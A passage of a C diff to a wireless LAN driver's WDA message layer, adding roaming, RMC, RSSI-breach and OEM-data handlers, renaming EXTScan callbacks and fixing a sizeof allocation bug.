WDA_ProcessEXTScanResetSignfRSSIChangeReq(pWDA, - (tSirEXTScanResetSignificantChangeReqParams *)pMsg->bodyptr); + WDA_ProcessHighPriorityDataInfoInd(pWDA, + (tSirHighPriorityDataInfoInd *)pMsg->bodyptr); break; } #endif /* WLAN_FEATURE_EXTSCAN */ @@ -14448,6 +15807,11 @@ VOS_STATUS WDA_McProcessMsg( v_CONTEXT_t pVosContext, vos_msg_t *pMsg ) WDA_ProcessRoamScanOffloadReq(pWDA, (tSirRoamOffloadScanReq *)pMsg->bodyptr); break; } + case WDA_PER_ROAM_SCAN_OFFLOAD_REQ: + { + WDA_ProcessPERRoamScanOffloadReq(pWDA, (tSirPERRoamOffloadScanReq *)pMsg->bodyptr); + break; + } #endif case WDA_SET_TX_PER_TRACKING_REQ: { @@ -14489,6 +15853,12 @@ VOS_STATUS WDA_McProcessMsg( v_CONTEXT_t pVosContext, vos_msg_t *pMsg ) WDA_ProcessSetPowerParamsReq(pWDA, (tSirSetPowerParamsReq *)pMsg->bodyptr); break; } + case WDA_FW_MEM_DUMP_REQ: + { + WDA_ProcessFwrMemDumpReq(pWDA, (tAniFwrDumpReq*)pMsg->bodyptr); + break; + } + #ifdef WLAN_FEATURE_GTK_OFFLOAD case WDA_GTK_OFFLOAD_REQ: { @@ -14572,7 +15942,42 @@ VOS_STATUS WDA_McProcessMsg( v_CONTEXT_t pVosContext, vos_msg_t *pMsg ) (tSirDelPeriodicTxPtrn *)pMsg->bodyptr); break; } - + case WDA_RATE_UPDATE_IND: + { + WDA_ProcessRateUpdateInd(pWDA, (tSirRateUpdateInd *)pMsg->bodyptr); + break; + } +#ifdef WLAN_FEATURE_RMC + case WDA_RMC_RULER_REQ: + { + WDA_ProcessRMCRulerReq(pWDA, (tSirRmcRulerReq *)pMsg->bodyptr); + break; + } + case WDA_RMC_UPDATE_IND: + { + WDA_ProcessRMCUpdateInd(pWDA, (tSirRmcUpdateInd *)pMsg->bodyptr); + break; + } + case WDA_GET_IBSS_PEER_INFO_REQ: + { + WDA_ProcessIbssPeerInfoReq(pWDA, + (tSirIbssGetPeerInfoReqParams *)pMsg->bodyptr); + break; + } + case WDA_TX_FAIL_MONITOR_IND: + { + WDA_ProcessTXFailMonitorInd(pWDA, (tAniTXFailMonitorInd *)pMsg->bodyptr); + break; + } +#endif /* WLAN_FEATURE_RMC */ +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + case WDA_PER_ROAM_SCAN_TRIGGER_REQ: + { + WDA_ProcessPERRoamScanTriggerReq(pWDA, + (tPERRoamScanStart *)pMsg->bodyptr); + break; + } +#endif #ifdef FEATURE_WLAN_BATCH_SCAN case WDA_SET_BATCH_SCAN_REQ: { @@ -14580,11 +15985,6 @@ VOS_STATUS WDA_McProcessMsg( v_CONTEXT_t pVosContext, vos_msg_t *pMsg ) (tSirSetBatchScanReq *)pMsg->bodyptr); break; } - case WDA_RATE_UPDATE_IND: - { - WDA_ProcessRateUpdateInd(pWDA, (tSirRateUpdateInd *)pMsg->bodyptr); - break; - } case WDA_TRIGGER_BATCH_SCAN_RESULT_IND: { WDA_ProcessTriggerBatchScanResultInd(pWDA, @@ -14660,6 +16060,42 @@ VOS_STATUS WDA_McProcessMsg( v_CONTEXT_t pVosContext, vos_msg_t *pMsg ) WDA_ProcessEnableDisableCAEventInd(pWDA, pMsg->bodyval); break; } + case WDA_WIFI_CONFIG_REQ: + { + WDA_ProcessWifiConfigReq(pWDA,(tSetWifiConfigParams *)pMsg->bodyptr); + break; + } +#ifdef FEATURE_OEM_DATA_SUPPORT + case WDA_START_OEM_DATA_REQ_IND_NEW: + { + WDA_ProcessStartOemDataReqIndNew(pWDA, + (tOemDataReqNewConfig *)pMsg->bodyptr); + break; + } +#endif + case WDA_ANTENNA_DIVERSITY_SELECTION_REQ: + { + WDA_ProcessAntennaDiversitySelectionReq(pWDA, + (tSirAntennaDiversitySelectionReq *)pMsg->bodyptr); + break; + } + case WDA_MODIFY_ROAM_PARAMS_IND: + { + WDA_ProcessBcnMissPenaltyCount(pWDA, + (tModifyRoamParamsReqParams *)pMsg->bodyptr); + break; + } + + case WDA_SET_ALLOWED_ACTION_FRAMES_IND: + wda_process_set_allowed_action_frames_ind(pWDA, + (struct sir_allowed_action_frames*)pMsg->bodyptr); + break; + + case WDA_PAUSE_TL_IND: + { + WDA_ProcessTLPauseInd(pWDA, pMsg->bodyval); + break; + } default: { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, @@ -15149,6 +16585,18 @@ void WDA_lowLevelIndCallback(WDI_LowLevelIndType *wdiLowLevelInd, } break; } +#ifdef WLAN_FEATURE_RMC + case WDI_TX_FAIL_IND: + { + if (pWDA->txFailIndCallback) + { + pWDA->txFailIndCallback( + wdiLowLevelInd->wdiIndicationData.wdiTXFailInd.macAddr, + wdiLowLevelInd->wdiIndicationData.wdiTXFailInd.seqNo); + } + break; + } +#endif /* WLAN_FEATURE_RMC */ #ifdef FEATURE_WLAN_LPHB case WDI_LPHB_IND: @@ -15228,6 +16676,48 @@ void WDA_lowLevelIndCallback(WDI_LowLevelIndType *wdiLowLevelInd, break; } +#ifdef WLAN_FEATURE_RMC + case WDI_RMC_RULER_PICK_NEW : + { + tSirRmcUpdateInd *pRmcUpdateInd = + (tSirRmcUpdateInd *)vos_mem_malloc(sizeof(tSirRmcUpdateInd)); + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "Received WDI_RMC_UPDATE_IND from WDI"); + if (NULL == pRmcUpdateInd) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Memory allocation failure, " + "WDI_RMC_UPDATE_IND not forwarded"); + break; + } + + pRmcUpdateInd->indication = + wdiLowLevelInd->wdiIndicationData.wdiRmcPickNewRulerInd.indication; + pRmcUpdateInd->role = + wdiLowLevelInd->wdiIndicationData.wdiRmcPickNewRulerInd.role; + + /* Copy the mcast transmitter which should be us */ + vos_mem_copy(pRmcUpdateInd->mcastTransmitter, + wdiLowLevelInd->wdiIndicationData.wdiRmcPickNewRulerInd. \ + mcastTransmitter, + sizeof(tSirMacAddr)); + /* Copy the mcast group address */ + vos_mem_copy(pRmcUpdateInd->mcastGroup, + wdiLowLevelInd->wdiIndicationData.wdiRmcPickNewRulerInd.mcastGroup, + sizeof(tSirMacAddr)); + vos_mem_copy(pRmcUpdateInd->mcastRuler, + wdiLowLevelInd->wdiIndicationData.wdiRmcPickNewRulerInd.mcastRuler, + sizeof(tSirMacAddr)); + vos_mem_copy(pRmcUpdateInd->ruler, + wdiLowLevelInd->wdiIndicationData.wdiRmcPickNewRulerInd.ruler, + sizeof(pRmcUpdateInd->ruler)); + + WDA_SendMsg(pWDA, WDA_RMC_UPDATE_IND, (void *)pRmcUpdateInd, 0) ; + break; + } +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_BATCH_SCAN case WDI_BATCH_SCAN_RESULT_IND: { @@ -15388,7 +16878,7 @@ void WDA_lowLevelIndCallback(WDI_LowLevelIndType *wdiLowLevelInd, case WDI_EXTSCAN_SCAN_AVAILABLE_IND: case WDI_EXTSCAN_SCAN_RESULT_IND: case WDI_EXTSCAN_BSSID_HOTLIST_RESULT_IND: - case WDI_EXTSCAN_SIGN_RSSI_RESULT_IND: + case WDI_EXTSCAN_SSID_HOTLIST_RESULT_IND: { void *pEXTScanData; void *pCallbackContext; @@ -15436,12 +16926,12 @@ void WDA_lowLevelIndCallback(WDI_LowLevelIndType *wdiLowLevelInd, "WDI_EXTSCAN Indication is WDI_EXTSCAN_BSSID_HOTLIST_RESULT_IND"); } if (wdiLowLevelInd->wdiIndicationType == - WDI_EXTSCAN_SIGN_RSSI_RESULT_IND) + WDI_EXTSCAN_SSID_HOTLIST_RESULT_IND) { - indType = WDA_EXTSCAN_SIGNF_RSSI_RESULT_IND; + indType = WDA_EXTSCAN_SSID_HOTLIST_RESULT_IND; VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, - "WDI_EXTSCAN Indication is WDA_EXTSCAN_SIGNF_RSSI_RESULT_IND"); + "WDI_EXTSCAN Indication is WDI_EXTSCAN_SSID_HOTLIST_RESULT_IND"); } pEXTScanData = @@ -15483,7 +16973,7 @@ void WDA_lowLevelIndCallback(WDI_LowLevelIndType *wdiLowLevelInd, case WDI_DEL_BA_IND: { tpBADeleteParams pDelBAInd = - (tpBADeleteParams)vos_mem_malloc(sizeof(tpBADeleteParams)); + (tpBADeleteParams)vos_mem_malloc(sizeof(*pDelBAInd)); VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, "Received WDI_DEL_BA_IND from WDI "); @@ -15594,6 +17084,128 @@ void WDA_lowLevelIndCallback(WDI_LowLevelIndType *wdiLowLevelInd, (void *)pLostLinkParamInd , 0) ; break; } + case WDI_RSSI_BREACHED_IND: + { + WDI_RssiBreachedIndType *pRssiBreachedInd; + tpAniSirGlobal pMac; + + pRssiBreachedInd = + (WDI_RssiBreachedIndType *)vos_mem_malloc(sizeof(WDI_RssiBreachedIndType)); + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "Received WDI_RSSI_BREACHED_IND from FW"); + + vos_mem_copy(pRssiBreachedInd, + &wdiLowLevelInd->wdiIndicationData.wdiRssiBreachedInd, + sizeof(WDI_RssiBreachedIndType)); + + /*sanity check*/ + if (NULL == pWDA) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s:pWDA is NULL", __func__); + vos_mem_free(pRssiBreachedInd); + VOS_ASSERT(0); + return; + } + + if (NULL == pRssiBreachedInd) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s:Breach indication from FW is null can't invoke HDD callback", + __func__); + VOS_ASSERT(0); + return; + } + + pMac = (tpAniSirGlobal )VOS_GET_MAC_CTXT(pWDA->pVosContext); + if (NULL == pMac) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s:pMac is NULL", __func__); + VOS_ASSERT(0); + vos_mem_free(pRssiBreachedInd); + return; + } + + if (pMac->sme.rssiThresholdBreachedCb) + { + pMac->sme.rssiThresholdBreachedCb(pMac->pAdapter, (void *)pRssiBreachedInd); + } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s:HDD callback is null", __func__); + } + vos_mem_free(pRssiBreachedInd); + break; + } +#ifdef FEATURE_OEM_DATA_SUPPORT + case WDI_START_OEM_DATA_RSP_IND_NEW: + { + void *pCallbackContext; + tpAniSirGlobal pMac; + tANI_U16 indType; + void *pOemRspNewIndData; + tANI_U32 OemRspNewLen; + + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "Received WDI_START_OEM_DATA_RSP_IND_NEW Indications from FW"); + + /*sanity check*/ + if (NULL == pWDA) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s:pWDA is NULL", __func__); + VOS_ASSERT(0); + return; + } + + indType = WDA_START_OEM_DATA_RSP_IND_NEW; + pOemRspNewIndData = + (void *)wdiLowLevelInd->wdiIndicationData.wdiOemDataRspNew. + pOemRspNewIndData; + if (NULL == pOemRspNewIndData) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: OEM_DATA_RSP_IND_NEW Indication Data is null, can't invoke HDD callback", + __func__); + VOS_ASSERT(0); + return; + } + + OemRspNewLen = wdiLowLevelInd->wdiIndicationData.wdiOemDataRspNew. + OemRspNewLen; + + pMac = (tpAniSirGlobal )VOS_GET_MAC_CTXT(pWDA->pVosContext); + if (NULL == pMac) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s:pMac is NULL", __func__); + VOS_ASSERT(0); + return; + } + + pCallbackContext = pMac->sme.pOemDataCallbackContext; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s: OemRspNewLen: %d", __func__, OemRspNewLen); + + if(pMac->sme.pOemDataIndCb) + { + pMac->sme.pOemDataIndCb(pCallbackContext, + indType, + pOemRspNewIndData, + OemRspNewLen); + } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s:HDD callback is null", __func__); + } + break; + } +#endif /* FEATURE_OEM_DATA_SUPPORT */ + default: { /* TODO error */ @@ -15815,6 +17427,24 @@ void WDA_TimerTrafficStatsInd(tWDA_CbContext *pWDA) } } +bool WDA_AllowAddBA(tpAniSirGlobal pMac, tANI_U8 staId, tANI_U8 tid) +{ + if (!pMac->lim.staBaInfo[staId].failed_count[tid]) + return true; + if ((WDA_BA_MAX_RETRY_THRESHOLD <= + pMac->lim.staBaInfo[staId].failed_count[tid]) || + ((pMac->lim.staBaInfo[staId].failed_timestamp[tid] + + (pMac->lim.staBaInfo[staId].failed_count[tid] * WDA_BA_RETRY_TIME)) >= + jiffies_to_msecs(jiffies))) + { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s: AP/STA has declined ADDBA req for tid %d, declined %d times", + __func__, tid, pMac->lim.staBaInfo[staId].failed_count[tid]); + return false; + } + return true; +} + /* * BA Activity check timer handler */ @@ -15903,6 +17533,7 @@ void WDA_BaCheckActivity(tWDA_CbContext *pWDA) } else if(!WDA_GET_BA_TXFLAG(pWDA, curSta, tid) && (WLANTL_STA_AUTHENTICATED == tlSTAState) + && WDA_AllowAddBA(pMac, curSta, tid) && (((eSYSTEM_STA_IN_IBSS_ROLE == pWDA->wdaGlobalSystemRole) && txPktCount ) || (txPktCount >= WDA_LAST_POLLED_THRESHOLD(pWDA, @@ -15967,7 +17598,7 @@ void WDA_BaCheckActivity(tWDA_CbContext *pWDA) pWdaParams->pWdaContext = pWDA; pWdaParams->wdaWdiApiMsgParam = wdiTriggerBaReq ; pWdaParams->wdaMsgParam = NULL; - status = WDI_TriggerBAReq(wdiTriggerBaReq, + status = WDI_TriggerBAReq(wdiTriggerBaReq, size, WDA_TriggerBaReqCallback, pWdaParams) ; if(IS_WDI_STATUS_FAILURE(status)) { @@ -16514,6 +18145,71 @@ void WDA_ConvertSirEncToWDIEnc(WDI_EdType *EncrType, v_U8_t csrEncrType) } } +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +VOS_STATUS WDA_ProcessPERRoamScanOffloadReq(tWDA_CbContext *pWDA, + tSirPERRoamOffloadScanReq *pPERRoamOffloadScanReqParams) +{ + WDI_Status status; + tWDA_ReqParams *pWdaParams ; + WDI_PERRoamOffloadScanInfo *pwdiPERRoamOffloadScanInfo; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "------> %s " ,__func__); + + pwdiPERRoamOffloadScanInfo = (WDI_PERRoamOffloadScanInfo *) + vos_mem_malloc(sizeof(WDI_PERRoamOffloadScanInfo)); + if (NULL == pwdiPERRoamOffloadScanInfo) { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)) ; + if (NULL == pWdaParams) { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pwdiPERRoamOffloadScanInfo); + return VOS_STATUS_E_NOMEM; + } + + pwdiPERRoamOffloadScanInfo->rateUpThreshold = + pPERRoamOffloadScanReqParams->rateUpThreshold; + pwdiPERRoamOffloadScanInfo->rateDownThreshold = + pPERRoamOffloadScanReqParams->rateDownThreshold; + pwdiPERRoamOffloadScanInfo->waitPeriodForNextPERScan = + pPERRoamOffloadScanReqParams->waitPeriodForNextPERScan; + pwdiPERRoamOffloadScanInfo->PERtimerThreshold = + pPERRoamOffloadScanReqParams->PERtimerThreshold; + pwdiPERRoamOffloadScanInfo->isPERRoamCCAEnabled = + pPERRoamOffloadScanReqParams->isPERRoamCCAEnabled; + pwdiPERRoamOffloadScanInfo->PERRoamFullScanThreshold = + pPERRoamOffloadScanReqParams->PERRoamFullScanThreshold; + pwdiPERRoamOffloadScanInfo->PERroamTriggerPercent = + pPERRoamOffloadScanReqParams->PERroamTriggerPercent; + + /* Store Params pass it to WDI */ + pWdaParams->wdaWdiApiMsgParam = (void *)pwdiPERRoamOffloadScanInfo; + pWdaParams->pWdaContext = pWDA; + + /* Store param pointer as passed in by caller */ + pWdaParams->wdaMsgParam = pPERRoamOffloadScanReqParams; + status = WDI_PERRoamScanOffloadReq(pwdiPERRoamOffloadScanInfo, + (WDI_PERRoamOffloadScanCb)WDA_PERRoamOffloadScanReqCallback, + pWdaParams); + + if(IS_WDI_STATUS_FAILURE(status)) { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failure in Send config PER roam params"); + vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + } + return CONVERT_WDI2VOS_STATUS(status) ; +} +#endif + /* * FUNCTION: WDA_ProcessRoamScanOffloadReq * Request to WDI to set Roam Offload Scan @@ -16872,36 +18568,105 @@ void WDA_RoamOffloadScanReqCallback(WDI_Status status, void* pUserData) VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, "<------ %s " ,__func__); - if (NULL == pWdaParams) - { + if (NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0) ; + return ; + } + if ( pWdaParams != NULL ) + { + if ( pWdaParams->wdaWdiApiMsgParam != NULL ) + { + reason = ((WDI_RoamScanOffloadReqParamsType *)pWdaParams->wdaWdiApiMsgParam)->wdiRoamOffloadScanInfo.StartScanReason; + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + } + if ( pWdaParams->wdaMsgParam != NULL) + { + vos_mem_free(pWdaParams->wdaMsgParam); + } + + vos_mem_free(pWdaParams) ; + } + vosMsg.type = eWNI_SME_ROAM_SCAN_OFFLOAD_RSP; + vosMsg.bodyptr = NULL; + if (WDI_STATUS_SUCCESS != status) + { + reason = 0; + } + vosMsg.bodyval = reason; + if (VOS_STATUS_SUCCESS != vos_mq_post_message(VOS_MQ_ID_SME, (vos_msg_t*)&vosMsg)) + { + /* free the mem and return */ + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s: Failed to post the rsp to UMAC", __func__); + } + + return ; +} + +void WDA_PERRoamTriggerScanReqCallback(WDI_Status status, void* pUserData) +{ + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + vos_msg_t vosMsg; + wpt_uint8 reason = 0; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + if (NULL == pWdaParams) { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0) ; + return ; + } + if ( pWdaParams->wdaMsgParam != NULL) + vos_mem_free(pWdaParams->wdaMsgParam); + + vos_mem_free(pWdaParams) ; + vosMsg.type = eWNI_SME_ROAM_SCAN_TRIGGER_RSP; + vosMsg.bodyptr = NULL; + if (WDI_STATUS_SUCCESS != status) + reason = 0; + + vosMsg.bodyval = reason; + if (VOS_STATUS_SUCCESS != + vos_mq_post_message(VOS_MQ_ID_SME, (vos_msg_t*)&vosMsg)) { + /* free the mem and return */ + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s: Failed to post the rsp to UMAC", __func__); + } + + return ; +} + + +void WDA_PERRoamOffloadScanReqCallback(WDI_Status status, void* pUserData) +{ + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + vos_msg_t vosMsg; + wpt_uint8 reason = 0; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + if (NULL == pWdaParams) { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, "%s: pWdaParams received NULL", __func__); VOS_ASSERT(0) ; return ; } - if ( pWdaParams != NULL ) - { - if ( pWdaParams->wdaWdiApiMsgParam != NULL ) - { - reason = ((WDI_RoamScanOffloadReqParamsType *)pWdaParams->wdaWdiApiMsgParam)->wdiRoamOffloadScanInfo.StartScanReason; - vos_mem_free(pWdaParams->wdaWdiApiMsgParam); - } - if ( pWdaParams->wdaMsgParam != NULL) - { - vos_mem_free(pWdaParams->wdaMsgParam); - } + if ( pWdaParams->wdaMsgParam != NULL) + vos_mem_free(pWdaParams->wdaMsgParam); - vos_mem_free(pWdaParams) ; - } + vos_mem_free(pWdaParams) ; vosMsg.type = eWNI_SME_ROAM_SCAN_OFFLOAD_RSP; vosMsg.bodyptr = NULL; if (WDI_STATUS_SUCCESS != status) - { reason = 0; - } + vosMsg.bodyval = reason; - if (VOS_STATUS_SUCCESS != vos_mq_post_message(VOS_MQ_ID_SME, (vos_msg_t*)&vosMsg)) - { + if (VOS_STATUS_SUCCESS != + vos_mq_post_message(VOS_MQ_ID_SME, (vos_msg_t*)&vosMsg)) { /* free the mem and return */ VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, "%s: Failed to post the rsp to UMAC", __func__); @@ -17724,9 +19489,16 @@ VOS_STATUS WDA_ProcessTxControlInd(tWDA_CbContext *pWDA, return wdaStatus; } -void WDA_FWLoggingDXEdoneInd(void) +void WDA_FWLoggingDXEdoneInd(v_U32_t logType) { - WDI_FWLoggingDXEdoneInd(NULL); + WDI_Status status; + status = WDI_FWLoggingDXEdoneInd(logType); + + if (!(WDI_STATUS_SUCCESS_SYNC == status || WDI_STATUS_PENDING == status)) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + FL("Failure status %d"), status); + } } /* FUNCTION WDA_featureCapsExchange @@ -18039,6 +19811,17 @@ void WDA_SetEnableSSR(v_BOOL_t enableSSR) WDI_SetEnableSSR(enableSSR); } +/** + * WDA_SetMgmtPktViaWQ5() - Set INI params sendMgmtPktViaWQ5 to WDI. + * @sendMgmtPktViaWQ5: INI params to enable/disable sending mgmt pkt via WQ5. + * + * Return: void + */ +void WDA_SetMgmtPktViaWQ5(v_BOOL_t sendMgmtPktViaWQ5) +{ + WDI_SetMgmtPktViaWQ5(sendMgmtPktViaWQ5); +} + #ifdef FEATURE_WLAN_LPHB /* * FUNCTION: WDA_LPHBconfRspCallback @@ -18647,16 +20430,16 @@ void WDA_EXTScanResetBSSIDHotlistRspCallback(void *pEventData, void* pUserData) } /*========================================================================== - FUNCTION WDA_EXTScanSetSignfRSSIChangeRspCallback + FUNCTION WDA_EXTScanSetSSIDHotlistRspCallback DESCRIPTION - API to send EXTScan Set Significant RSSI Change RSP to HDD + API to send EXTScan Set SSID Hotlist Response to HDD PARAMETERS pEventData: Response from FW pUserData: ===========================================================================*/ -void WDA_EXTScanSetSignfRSSIChangeRspCallback(void *pEventData, void* pUserData) +void WDA_EXTScanSetSSIDHotlistRspCallback(void *pEventData, void* pUserData) { tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; tWDA_CbContext *pWDA = NULL; @@ -18664,7 +20447,7 @@ void WDA_EXTScanSetSignfRSSIChangeRspCallback(void *pEventData, void* pUserData) tpAniSirGlobal pMac; VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, - "%s:", __func__); + "%s: ", __func__); if (NULL == pWdaParams) { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, @@ -18697,7 +20480,7 @@ void WDA_EXTScanSetSignfRSSIChangeRspCallback(void *pEventData, void* pUserData) if (pMac->sme.pEXTScanIndCb) { pMac->sme.pEXTScanIndCb(pCallbackContext, - WDA_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP, + WDA_EXTSCAN_SET_SSID_HOTLIST_RSP, pEventData); } else @@ -18724,17 +20507,16 @@ void WDA_EXTScanSetSignfRSSIChangeRspCallback(void *pEventData, void* pUserData) } /*========================================================================== - FUNCTION WDA_EXTScanResetSignfRSSIChangeRspCallback + FUNCTION WDA_EXTScanResetSSIDHotlistRspCallback DESCRIPTION - API to send EXTScan Set Significant RSSI Change RSP to HDD + API to send EXTScan ReSet SSID Hotlist Response to HDD PARAMETERS pEventData: Response from FW pUserData: ===========================================================================*/ -void WDA_EXTScanResetSignfRSSIChangeRspCallback(void *pEventData, - void* pUserData) +void WDA_EXTScanResetSSIDHotlistRspCallback(void *pEventData, void* pUserData) { tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; tWDA_CbContext *pWDA = NULL; @@ -18775,7 +20557,7 @@ void WDA_EXTScanResetSignfRSSIChangeRspCallback(void *pEventData, if (pMac->sme.pEXTScanIndCb) { pMac->sme.pEXTScanIndCb(pCallbackContext, - WDA_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP, + WDA_EXTSCAN_RESET_SSID_HOTLIST_RSP, pEventData); } else @@ -19060,17 +20842,17 @@ VOS_STATUS WDA_ProcessEXTScanResetBSSIDHotlistReq(tWDA_CbContext *pWDA, } /*========================================================================== - FUNCTION WDA_ProcessEXTScanSetSignfRSSIChangeReq + FUNCTION WDA_ProcessEXTScanSetSSIDHotlistReq DESCRIPTION - API to send Set Significant RSSI Change Request to WDI + API to send Set SSID Hotlist Request to WDI PARAMETERS pWDA: Pointer to WDA context wdaRequest: Pointer to EXTScan req parameters ===========================================================================*/ -VOS_STATUS WDA_ProcessEXTScanSetSignfRSSIChangeReq(tWDA_CbContext *pWDA, - tSirEXTScanSetSignificantChangeReqParams *wdaRequest) +VOS_STATUS WDA_ProcessEXTScanSetSSIDHotlistReq(tWDA_CbContext *pWDA, + tSirEXTScanSetSsidHotListReqParams *wdaRequest) { WDI_Status status = WDI_STATUS_SUCCESS; tWDA_ReqParams *pWdaParams; @@ -19089,8 +20871,8 @@ VOS_STATUS WDA_ProcessEXTScanSetSignfRSSIChangeReq(tWDA_CbContext *pWDA, pWdaParams->wdaMsgParam = wdaRequest; pWdaParams->wdaWdiApiMsgParam = NULL; - status = WDI_EXTScanSetSignfRSSIChangeReq((void *)wdaRequest, - (WDI_EXTScanSetSignfRSSIChangeRspCb)WDA_EXTScanSetSignfRSSIChangeRspCallback, + status = WDI_EXTScanSetSSIDHotlistReq((void *)wdaRequest, + (WDI_EXTScanSetSSIDHotlistRspCb)WDA_EXTScanSetSSIDHotlistRspCallback, (void *)pWdaParams); if (IS_WDI_STATUS_FAILURE(status)) { @@ -19103,17 +20885,17 @@ VOS_STATUS WDA_ProcessEXTScanSetSignfRSSIChangeReq(tWDA_CbContext *pWDA, } /*========================================================================== - FUNCTION WDA_ProcessEXTScanResetSignfRSSIChangeReq + FUNCTION WDA_ProcessEXTScanReSetSSIDHotlistReq DESCRIPTION - API to send Reset Significant RSSI Change Request to WDI + API to send Reset SSID Hotlist Request to WDI PARAMETERS pWDA: Pointer to WDA context wdaRequest: Pointer to EXTScan req parameters ===========================================================================*/ -VOS_STATUS WDA_ProcessEXTScanResetSignfRSSIChangeReq(tWDA_CbContext *pWDA, - tSirEXTScanResetSignificantChangeReqParams *wdaRequest) +VOS_STATUS WDA_ProcessEXTScanResetSSIDHotlistReq(tWDA_CbContext *pWDA, + tSirEXTScanResetSsidHotlistReqParams *wdaRequest) { WDI_Status status = WDI_STATUS_SUCCESS; tWDA_ReqParams *pWdaParams; @@ -19132,9 +20914,8 @@ VOS_STATUS WDA_ProcessEXTScanResetSignfRSSIChangeReq(tWDA_CbContext *pWDA, pWdaParams->wdaMsgParam = wdaRequest; pWdaParams->wdaWdiApiMsgParam = NULL; - status = WDI_EXTScanResetSignfRSSIChangeReq((void *)wdaRequest, - (WDI_EXTScanResetSignfRSSIChangeRspCb) - WDA_EXTScanResetSignfRSSIChangeRspCallback, + status = WDI_EXTScanResetSSIDHotlistReq((void *)wdaRequest, + (WDI_EXTScanResetSSIDHotlistRspCb)WDA_EXTScanResetSSIDHotlistRspCallback, (void *)pWdaParams); if (IS_WDI_STATUS_FAILURE(status)) { @@ -19145,6 +20926,39 @@ VOS_STATUS WDA_ProcessEXTScanResetSignfRSSIChangeReq(tWDA_CbContext *pWDA, } return CONVERT_WDI2VOS_STATUS(status); } + +/*========================================================================== + FUNCTION WDA_ProcessHighPriorityDataInfoInd + + DESCRIPTION + API to send Reset SSID Hotlist Request to WDI + + PARAMETERS + pWDA: Pointer to WDA context + wdaRequest: Pointer to EXTScan req parameters +===========================================================================*/ +VOS_STATUS WDA_ProcessHighPriorityDataInfoInd(tWDA_CbContext *pWDA, + tSirHighPriorityDataInfoInd *wdaRequest) +{ + WDI_Status status = WDI_STATUS_SUCCESS; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s:", __func__); + + status = WDI_HighPriorityDataInfoInd((void *)wdaRequest); + if (WDI_STATUS_PENDING == status) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + FL("pending status received ")); + } + else if (WDI_STATUS_SUCCESS_SYNC != status) + 